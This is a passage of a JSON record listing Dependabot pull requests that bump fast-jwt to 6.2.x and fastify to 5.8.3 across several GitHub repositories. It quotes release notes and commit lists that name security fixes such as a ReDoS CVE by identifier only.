view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Tony133/fastify-api-boilerplate-jwt/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Tony133/fastify-api-boilerplate-jwt/pull/2244","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tony133%2Ffastify-api-boilerplate-jwt/issues/2244","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2244/packages"}},{"old_version":"6.1.0","new_version":"6.2.1","update_type":"minor","path":null,"pr_created_at":"2026-04-09T17:01:41.000Z","version_change":"6.1.0 → 6.2.1","issue":{"uuid":"4233756280","node_id":"PR_kwDOQ_O8587RM1K7","number":96,"state":"closed","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.1","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-11T17:53:35.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T17:01:41.000Z","updated_at":"2026-04-11T17:53:37.000Z","time_to_close":175914,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.1","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.1.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ozziest/rawfeed.social/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ozziest/rawfeed.social/pull/96","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozziest%2Frawfeed.social/issues/96","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/96/packages"}},{"old_version":"6.1.0","new_version":"6.2.1","update_type":"minor","path":null,"pr_created_at":"2026-04-09T17:01:17.000Z","version_change":"6.1.0 → 6.2.1","issue":{"uuid":"4233754586","node_id":"PR_kwDOLCnFzc7RM01F","number":677,"state":"closed","title":"build(deps): bump the npm_and_yarn group across 2 directories with 4 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-12T10:26:29.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T17:01:17.000Z","updated_at":"2026-04-12T10:26:31.000Z","time_to_close":235512,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"npm_and_yarn","update_count":4,"packages":[{"name":"fastify","old_version":"5.8.1","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.1","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"bn.js","old_version":"4.12.2","new_version":"4.12.3"},{"name":"axios","old_version":"1.6.7","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 2 updates in the /backend directory: [fastify](https://github.com/fastify/fastify) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /backend/tools/cloudbuild-watcher directory: [axios](https://github.com/axios/axios).\n\nUpdates `fastify` from 5.8.1 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.1...v5.8.3\"\u003ecompare 